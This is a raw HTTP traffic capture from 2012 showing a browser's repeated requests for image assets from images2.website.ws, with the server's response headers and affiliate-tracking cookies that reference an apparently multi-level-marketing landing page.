Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Mon, 05 Nov 2012 19:31:56 GMT
Content-Length: 14500
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Wed, 05 Dec 2012 19:31:56 GMT
Age: 29625
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/arrow2.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Mon, 05 Nov 2012 19:31:55 GMT
Content-Length: 3631
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Wed, 05 Dec 2012 19:31:55 GMT
Age: 29626
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/test1.jpg HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/jpeg

Server: nginx/1.2.0
Date: Mon, 05 Nov 2012 19:31:56 GMT
Content-Length: 7415
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Wed, 05 Dec 2012 19:31:56 GMT
Age: 29625
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/logo.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:23 GMT
Content-Length: 19030
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:23 GMT
Age: 13038
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/mlm-structure.gif HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/gif

Server: nginx/1.2.0
Date: Mon, 05 Nov 2012 19:31:56 GMT
Content-Length: 54284
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Wed, 05 Dec 2012 19:31:56 GMT
Age: 29625
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/test2.jpg HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/jpeg

Server: nginx/1.2.0
Date: Mon, 05 Nov 2012 19:31:59 GMT
Content-Length: 5477
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Wed, 05 Dec 2012 19:31:59 GMT
Age: 29622
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/bg_1top.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:25 GMT
Content-Length: 3315
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:25 GMT
Age: 13036
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/test3.jpg HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/jpeg

Server: nginx/1.2.0
Date: Mon, 05 Nov 2012 19:31:57 GMT
Content-Length: 7686
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Wed, 05 Dec 2012 19:31:57 GMT
Age: 29624
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/mike_alan.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:06:24 GMT
Content-Length: 90899
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:06:24 GMT
Age: 13157
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/bg_1.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:25 GMT
Content-Length: 2860
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:25 GMT
Age: 13036
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/bg_1bot.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:25 GMT
Content-Length: 3303
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:25 GMT
Age: 13036
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/freet_btn.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:06:45 GMT
Content-Length: 6686
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:06:45 GMT
Age: 13136
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/sign2.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:06:49 GMT
Content-Length: 4220
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:06:49 GMT
Age: 13132
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/line_make.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:25 GMT
Content-Length: 8125
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:25 GMT
Age: 13036
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/sign.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:06:53 GMT
Content-Length: 4084
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:06:53 GMT
Age: 13128
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/make.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:28:28 GMT
Content-Length: 19334
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:28:28 GMT
Age: 11833
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/line_punk.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:26 GMT
Content-Length: 2824
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:26 GMT
Age: 13035
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/simbols.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:26 GMT
Content-Length: 45282
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:26 GMT
Age: 13035
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/ferr.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:26 GMT
Content-Length: 58811
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:26 GMT
Age: 13035
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/ten_read.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:26 GMT
Content-Length: 2800
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:26 GMT
Age: 13035
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/more.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:26 GMT
Content-Length: 14975
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:26 GMT
Age: 13035
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/yelow.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:26 GMT
Content-Length: 71699
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:26 GMT
Age: 13035
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/foot.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:26 GMT
Content-Length: 9294
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:26 GMT
Age: 13035
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/footer-link-inc500.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:26 GMT
Content-Length: 8440
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:26 GMT
Age: 13035
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/footer-link-dsa.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:26 GMT
Content-Length: 9790
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:26 GMT
Age: 13035
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/head.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
